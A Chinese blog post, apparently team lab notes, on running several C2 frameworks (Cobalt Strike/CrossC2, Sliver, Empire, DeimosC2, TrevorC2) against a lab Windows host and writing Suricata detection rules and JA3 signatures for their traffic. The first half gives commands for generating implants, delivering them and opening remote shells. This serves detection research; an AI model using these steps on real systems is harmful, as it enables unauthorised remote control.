【组内工作】木马回联

news/2024/12/21 22:29:52/

文章目录

  • C2服务器安装和运行方法
    • CrossC2运行方法
    • sliver运行方法
    • empire安装方法
    • DeimosC2安装教程
    • TrevorC2安装教程:
  • C2服务器的流量特征
    • CrossC2
      • 1. 心跳包
      • 2. 命令
      • 3. ja3/ja3s
    • Sliver
      • 1. http
      • 2. https
    • empire
      • http
      • https
    • DeimosC2
      • https
    • TrevorC2

C2服务器安装和运行方法

CrossC2运行方法

注意:这个只能是服务器和攻击者是同一台主机才能运行,即都是192.168.230.137

cs服务器:192.168.230.137(kali)
攻击者:192.168.230.137(kali)
受害者:192.168.230.143(windows 10)

  • 在cs服务器192.168.230.137上:

    1. 打开一个终端,输入:
      sudo su
      ./teamserver 192.168.230.137 123456
  • 在攻击者192.168.230.137上:

    1. 再打开一个终端,输入:
      ./cobaltstrike

    2. 设置监听器,https的

    3. 导入插件,cna文件

    4. 生成payload

    5. 将生成的恶意文件(两个,一个是lib,一个是out)放到受害者主机上

  • 在受害者192.168.230.143上:
    ./t_cc2.out

  • 在攻击者192.168.230.137上运行wireshark即可,过滤条件ip.addr==192.168.230.143

sliver运行方法

cs服务器:192.168.230.137
攻击者:192.168.230.138
受害者:192.168.230.143

  • 在cs服务器192.168.230.137上:
    ./sliver-server_linux
    new-operator --name qinjian --lhost 192.168.230.137 //只用执行第一次
    multiplayer

  • 在攻击者192.168.230.138上:
    将cs服务器192.168.230.137上生成的文件放到与sliver-client_linux同目录下
    ./sliver-client_linux import qinjian_192.168.230.137.cfg //只用执行第一次
    ./sliver-client_linux

  • 接下来,无论在cs服务器或者攻击者上都可以,执行以下命令:
    generate --mtls 192.168.230.137 --save test.exe --os Windows //生成shell
    mtls //开启mtls协议监听
    implants //查看生成过的shell
    jobs //查看进程

  • 将生成的shell文件test.exe放到windows受害者上,并运行
    双击test.exe

  • 接下来,无论在cs服务器或者攻击者上都可以,执行以下命令:
    sessions //查看会话
    sessions -i id //进入会话 sessions -k id //结束会话
    shell --shell-path "C:\\windows\system32\cmd.exe" //进入交互式shell
    exit //退出

  • 在攻击者192.168.230.138上开启wireshark抓包,过滤条件ip.addr==192.168.230.143

empire安装方法

注意这里cs服务器和攻击者是同一台机器

cs服务器:192.168.230.138
攻击者:192.168.230.138
受害者:192.168.230.143

  • 在cs服务器192.168.230.138上运行:
    ./ps-empire server

  • 在攻击者192.168.230.138上运行:
    ./ps-empire client

  • 设置监听器:
    uselistener [tap键选择监听器类型]
    set Name [监听器名称]
    set Port [端口号]
    execute
    listeners //查看设置的监听器
    kill [监听器Name] //删除监听器

  • 设置后门:
    usestager [tap键选择后门类型]
    set Listener [监听器Name]
    set OutFile [后门文件,例如launcher.bat] //可写可不写,默认就是set OutFile launcher.bat
    execute

  • 将launcher.bat放到/var/www/html目录下,然后让受害者192.168.230.143访问该文件

  • 在攻击者192.168.230.138上运行:
    agents //查看获取的代理会话
    shell whoami //执行命令

DeimosC2安装教程

cs服务器:192.168.230.137
攻击者:192.168.230.138
受害者:192.168.230.143

  • cs服务器上运行:
    ./DeimosC2

  • 攻击者上:
    登录https://192.168.230.137:8443
    用户名:qinjian
    密码:qinjian1030
    add listener – 地址设为192.168.230.137
    下载对应操作系统的agents,下载的位置可以从浏览器的右上角的下载标志找到

  • 受害者上:
    运行下载的agents

TrevorC2安装教程:

cs服务器:192.168.230.137
攻击者:192.168.230.138
受害者:192.168.230.143

sudo su
conda create -n py37 python=3.7(只第一次需要运行)
conda activate py37

  • 在cs服务器上运行:
    目录:SecistSploit
    sudo su
    conda activate py37
    python SSF.py
    use listener/trevorc2
    show options
    set lhost [本机ip] // 设置当前ip
    set target 2 // 设置生成的agent文件的类型,有三种1->C# 2->powershell 3->python
    run // 生成agent文件

    list // 查看受害者主机
    interact 1 // 与受害者主机交互

  • 在受害者上运行生成的agent文件

C2服务器的流量特征

CrossC2

1. 心跳包

在这里插入图片描述
suricata规则:
自己想的:alert tcp any any -> any any (msg:"Heartbeat Extension Detected"; flow:established; tls.handshake.type: 1; tls.handshake.extensions["heartbeat"]; content:"|00 0F 00 01 01|"; depth:5;sid:100001; rev:1; )

实际用的:alert tcp any any -> any any (msg:"Heartbeat Extension Detected";flow:established;content:"|00 0F 00 01 01|";sid:100001;rev:1;)

2. 命令

  1. 执行命令时与平时的心跳包不太一样,会多传一些数据:
    在这里插入图片描述

  2. 并且加密数据是以00 00 00 00 00 00 00 02开头的
    在这里插入图片描述

    suricata规则:alert tls any any -> any any (msg:"Detect HTTPS Application Data with 0000000000000002";content: "|00 00 00 00 00 00 00 02|";flow:established; sid:100002; rev:1;)

3. ja3/ja3s

ja3:alert tls any any -> any any(msg:"CorssC2 https ja3";ja3.hash;content:"fd80fa9c6120cdeea8520510f3c644ac";classtype:misc-activity;sid:1001;rev:1)

ja3s:alert tls any any <> any any(msg:"CorssC2 https ja3s";ja3s.hash;content:"b7bd51222a09f3ad66a340710ae9c01a";sid:1002)

Sliver

1. http

  • 独特的头部特定标识 / 特定的请求响应模式(html)

    观察sliver的源码发现,Sliver的C2木马连接服务端有5种类型的消息,使用内置路径段随机生成请求路径,所有路径将具有以下扩展名之一,不同的文件扩展名指示了请求的类型。除了扩展名之外,路径中的所有内容都会被服务器忽略。

    • .woff = Stagers(默认不使用)
    • .js = Long poll messages(长消息轮询,加密交互数据)
    • .html = Key exchange messages (密钥交换,set-cookie)
    • .php = Session messages
    • .png = Close session messages(关闭会话)

    随机路径生成的方法:
    在这里插入图片描述
    请求包的特征:

    1. 方法:POST/GET
    2. path为各个后缀所对应的字符串列表中多个字符串的组合:StagerPaths、PollPaths、SessionPaths、ClosePaths
    3. 文件名为各个后缀所对应的字符串列表其中之一的字符串:StagerFiles、PollFiles、SessionFiles、CloseFiles
    4. 文件后缀:.woff、.js、.html、.php、.png
    5. 参数名称为NonceQueryArgs: “abcdefghijklmnopqrstuvwxyz_”,从这些字符串中选择1-2个
    6. nonce值的长度为1到10位,包含数字和小写字母与下划线。

    综上,写出的suricata规则为:

    .woffalert tcp any any -> any any (msg: "Sliver HTTP woff request"; flow:to_server,established;content:".woff";http_uri;pcre: "/\/(static|assets|fonts|locales)(.*?)((attribute_text_w01_regular|ZillaSlab-Regular\.subset\.bbc33fb47cf6|ZillaSlab-Bold\.subset\.e96c15f68c68|Inter-Regular|Inter-Medium)\.woff)\?[a-z_]{1,2}=[a-z0-9_]{1,10}/i";sid:1000001;classtype:trojan-activity; rev:1;)

    .jsalert tcp any any -> any any (msg: "Sliver HTTP js request"; flow:to_server,established;content:"GET";http_method;nocase;content:".js";http_uri;pcre: "/\/(js|umd|assets|bundle|bundles|scripts|script|javascripts|javascript|jscript)(.*?)((bootstrap|bootstrap.min|jquery.min|jquery|route|app|app.min|array|backbone|script|email)\.js)\?[a-z_]{1,2}=[a-z0-9_]{1,10}/i";sid:1000002;classtype:trojan-activity; rev:1;)

    .htmlalert tcp any any -> any any (msg: "Sliver HTTP html request&getsessionID"; flow:to_server,established;content:"POST";http_method;nocase;content:".html";http_uri;pcre: "/\/(php|api|upload|actions|rest|v1|oauth2callback|authenticate|oauth2|oauth|auth|database|db|namespaces)(.*?)((login|signin|api|samples|rpc|index|admin|register|sign-up)\.html)\?[a-z_]{1,2}=[a-z0-9_]{1,10}/i";sid:1000003;flowbits:set,name;flowbits:noalert;classtype:trojan-activity; rev:1;)

    .htmlalert tcp any any <> any any (msg: "Sliver HTTP html response&set-cookie";flow:to_client,established;content:"Set-Cookie";http_header;pcre:"/^Set-Cookie\:\s*(PHPSESSID|SID|SSID|APISID|csrf-state|AWSALBCORS)\=[a-z0-9]{32}\;\s*HttpOnly$/i";sid:1000004;flowbits:isset,name;classtype:trojan-activity;)

    .phpalert tcp any any -> any any (msg: "Sliver HTTP php request"; flow:to_server,established;content:"POST";http_method;nocase;content:".php";http_uri;pcre: "/\/(php|api|upload|actions|rest|v1|oauth2callback|authenticate|oauth2|oauth|auth|database|db|namespaces)(.*?)((login|signin|api|samples|rpc|index|admin|register|sign-up)\.php)\?[a-z_]{1,2}=[a-z0-9_]{1,10}/i";sid:1000005;classtype:trojan-activity; rev:1;)

    .pngalert tcp any any -> any any (msg: "Sliver HTTP png request"; flow:to_server,established;content:".png";http_uri;pcre: "/\/(static|www|assets|images|icons|image|icon|png)(.*?)((favicon|sample|example)\.png)\?[a-z_]{1,2}=[a-z0-9_]{1,10}/i";sid:1000006;classtype:trojan-activity; rev:1;)

2. https

  • ja3(s)加密指纹特征:

    ja3:Alert tls any any -> any any(msg:"sliver https debian";ja3.hash;content:"19e29534fd49dd27d09234e639c4057e";classtype:misc-activity;sid:1001;rev:1)

    ja3s:Alert tls any any <> any any(msg:"sliver https";ja3s.hash;content:"f4febc55ea12b31ae17cfb7e614afda8";sid:1002)

empire

http

https

DeimosC2

https

  • tls版本1.2/1.3
    在这里插入图片描述

  • https端口号:C2服务器默认为4443(不过可以修改)

  • ja3(s)加密指纹特征
    ja3:Alert tls any any -> any any(msg:"sliver https debian";ja3.hash;content:"e564ee1b7bcae4467d8c759df910ed9c";classtype:misc-activity;sid:1001;rev:1)
    ja3s:Alert tls any any <> any any(msg:"sliver https";ja3s.hash;content:"f4febc55ea12b31ae17cfb7e614afda8";sid:1002)(和sliver一样)
    在这里插入图片描述
    在这里插入图片描述

TrevorC2

  • 心跳包:http(服务器主机返回的http相应包会包含非常多的payload,且Reassembled TCP length: 386861)
    在这里插入图片描述
    在这里插入图片描述

  • 受害者主机端口号每次发送一个http请求,就更换一个端口,端口号逐次+1
    在这里插入图片描述
    在这里插入图片描述
    Suricata规则:alert tcp any any -> any any (msg:"HTTP Request Source Port Sequential Increase"; flow:established, to_server; content:"GET"; http_method; pcre:"/^Host:[^\r\n]+\r\n/"; lua:check_port.lua; sid:100001; rev:1;)
    check_port.lua代码:

    function init(args)-- 这里可以执行一些初始化操作local rules = {}return rules
    endfunction check_port(pkt, data)if not pkt.is_http or not pkt.is_request thenreturn 0endlocal src_port = pkt.src_portlocal prev_src_port = pkt.prev_pkt.src_portif src_port ~= prev_src_port + 1 thenreturn 1endreturn 0
    end
  • 交互发送命令,受害者主机会发送一个url为:/images?guid=xxxx,xxxx类似于base64编码,最后会用=填充(有时候能用base64解码,有时候不能,而且解出来的编码也很像base64编码)
    在这里插入图片描述
    Suricata规则:alert tcp any any -> any any (msg: "TrevorC2 interact"; flow:to_server,established;content:"/images?guid=";http_uri;pcre: "/\/images\?guid=[A-za-z0-9+\/=](.*)/i";sid:1000002;classtype:trojan-activity; rev:1;)


http://www.ppmy.cn/news/987713.html

相关文章

Windows数据类型LPSTR学习

Windows在C语言的基础之上又定义了一些Windows下的数据类型&#xff1b;下面学习一下LPSTR&#xff1b; LPSTR和LPWSTR是Win32和VC所使用的一种字符串数据类型。LPSTR被定义成是一个指向以NULL(‘\0’)结尾的32位ANSI字符数组指针&#xff0c;而LPWSTR是一个指向以NULL结尾的64…

软工导论知识框架(二)结构化的需求分析

本章节涉及很多重要图表的制作&#xff0c;如ER图、数据流图、状态转换图、数据字典的书写等&#xff0c;对初学者来说比较生僻&#xff0c;本贴只介绍基础的轮廓&#xff0c;后面会有单独的帖子详解各图表如何绘制。 一.结构化的软件开发方法&#xff1a;结构化的分析、设计、…

双指针解决n数之和问题

1. 两数之和 1. 两数之和 将时间复杂度降到O(n)&#xff1b; class Solution {// 双指针public int[] twoSum(int[] nums, int target) {int nnums.length;int l0;while(l<n){int rn-1;// 找到第一个可能nums[l]nums[r]target的位置while(r>l){if(nums[l]nums[r]targe…

LeetCode使用最小花费爬楼梯(动态规划)

使用最小花费爬楼梯&#xff08;动态规划&#xff09; 题目描述算法流程(方法一)编程代码优化代码算法流程&#xff08;方法二&#xff09;编程代码代码优化 链接: 使用最小花费爬楼梯 题目描述 算法流程(方法一) 编程代码 class Solution { public:int minCostClimbingStair…

Sestra 实用教程(二)方程求解器

目 录 一、前言二、超单元分析三、惯性释放四、模态叠加法4.1 Eigenvalue solvers4.2 Static back substitution 五、模态综合法六、Master-Slave七、参考文献 一、前言 SESAM &#xff08;Super Element Structure Analysis Module&#xff09;是由挪威船级社&#xff08;DNV-…

重学C++系列之友元

一、什么是友元 在C中&#xff0c;为了提高程序的效率&#xff0c;在一些场景下&#xff0c;引入友元&#xff0c;但同时类的封装性就会被破坏。 二、怎么实现友元 友元关键字&#xff08;friend&#xff09; // 在类中声明另一个类的成员函数来做为友元函数 // 以关键字&…

react的特点

React的特点包括以下几个方面&#xff1a; 组件化&#xff1a;React将用户界面分解成小而独立的组件&#xff0c;每个组件都有自己的状态和属性。通过组合这些组件&#xff0c;可以构建复杂而灵活的用户界面。 虚拟DOM&#xff1a;React使用虚拟DOM&#xff08;Virtual DOM&am…

Docker容器监控之 CAdvisor+InfluxDB+Granfana

通过docker stats命令可以很方便的看到当前宿主机上所有容器的CPU,内存以及网络流量等数据&#xff0c;一般小公司够用了。但是&#xff0c;docker stats统计结果只能是当前宿主机的全部容器&#xff0c;数据资料是实时的&#xff0c;没有地方存储、没有健康指标过线预警等功能…